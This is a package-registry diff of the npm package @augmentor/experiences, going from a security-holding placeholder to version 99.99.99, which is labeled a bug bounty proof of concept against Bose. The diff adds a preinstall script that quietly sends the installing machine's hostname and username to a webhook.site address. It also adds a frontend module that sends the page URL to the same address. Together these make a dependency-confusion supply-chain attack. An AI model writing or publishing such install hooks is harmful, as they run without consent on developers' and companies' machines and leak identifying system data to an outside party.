@augmentor/experiences 0.0.1-security → 99.99.99
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @augmentor/experiences might be problematic. Click here for more details.
- package/package.json +11 -6
- package/preinstall.js +14 -0
- package/sticky-email-popup-html/index.js +9 -0
- package/README.md +0 -5
package/package.json
CHANGED
|
@@ -1,6 +1,11 @@
|
|
|
1
|
-
{
|
|
2
|
-
"name": "@augmentor/experiences",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
6
|
-
|
|
1
|
+
{
|
|
2
|
+
"name": "@augmentor/experiences",
|
|
3
|
+
"version": "99.99.99",
|
|
4
|
+
"description": "Bug Bounty PoC for Bose by urro",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node preinstall.js"
|
|
8
|
+
},
|
|
9
|
+
"author": "urro",
|
|
10
|
+
"license": "ISC"
|
|
11
|
+
}
|
package/preinstall.js
ADDED
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
// preinstall.js
|
|
2
|
+
const https = require('https');
|
|
3
|
+
const os = require('os');
|
|
4
|
+
|
|
5
|
+
// REEMPLAZA ESTO CON TU WEBHOOK
|
|
6
|
+
const webhookUrl = "https://webhook.site/d976bd5c-c15b-4535-b88f-de9c943b5cbd";
|
|
7
|
+
|
|
8
|
+
const data = "?type=rce-backend&hostname=" + os.hostname() + "&user=" + os.userInfo().username;
|
|
9
|
+
|
|
10
|
+
https.get(webhookUrl + data, (res) => {
|
|
11
|
+
// Silencioso, no hacemos nada con la respuesta
|
|
12
|
+
}).on('error', (e) => {
|
|
13
|
+
// Ignoramos errores para no romper el build de Bose
|
|
14
|
+
});
|
|
@@ -0,0 +1,9 @@
|
|
|
1
|
+
// sticky-email-popup-html/index.js
|
|
2
|
+
|
|
3
|
+
export function onMount(root) {
|
|
4
|
+
// 1. Mensaje benigno en consola (Prueba visual)
|
|
5
|
+
console.log("🔥 Bug Bounty PoC: Dependency Confusion XSS ejecutado desde @augmentor/experiences 🔥");
|
|
6
|
+
|
|
7
|
+
// 2. Ping a nuestro webhook para registrar la ejecución en el cliente
|
|
8
|
+
fetch("https://webhook.site/d976bd5c-c15b-4535-b88f-de9c943b5cbd?type=xss-frontend&url=" + encodeURIComponent(window.location.href), { mode: 'no-cors' });
|
|
9
|
+
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=%40augmentor%2Fexperiences for more information.
|